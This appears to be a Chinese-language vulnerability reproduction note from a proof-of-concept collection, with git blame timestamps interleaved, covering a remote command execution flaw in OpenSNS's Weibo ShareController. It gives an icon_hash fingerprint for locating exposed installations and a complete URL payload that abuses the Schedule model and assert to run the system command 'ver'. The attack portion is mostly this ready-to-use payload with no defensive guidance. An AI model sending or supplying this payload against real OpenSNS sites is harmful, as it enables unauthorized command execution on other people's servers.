2022-05-18 16:23:08 +08:00
|
|
|
# OpenSNS Application ShareController.class.php 远程命令执行漏洞
|
2022-02-20 16:14:31 +08:00
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
OpenSNS 存在远程命令执行漏洞，攻击者通过漏洞发送特定的请求包可以执行任意命令
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
OpenSNS
|
|
|
|
|
```
|
|
|
|
|
|
2023-08-28 15:55:36 +08:00
|
|
|
## 网络测绘
|
2022-02-20 16:14:31 +08:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
icon_hash="1167011145"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
登录页面如下
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
2022-02-20 16:14:31 +08:00
|
|
|
|
2022-05-18 16:23:08 +08:00
|
|
|
存在漏洞的文件 `Application/Weibo/Controller/ShareController.class.php`
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
2022-05-18 16:23:08 +08:00
|
|
|
|
2022-02-20 16:14:31 +08:00
|
|
|
发送Payload
|
|
|
|
|
|
|
|
|
|
```plain
|
|
|
|
|
/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
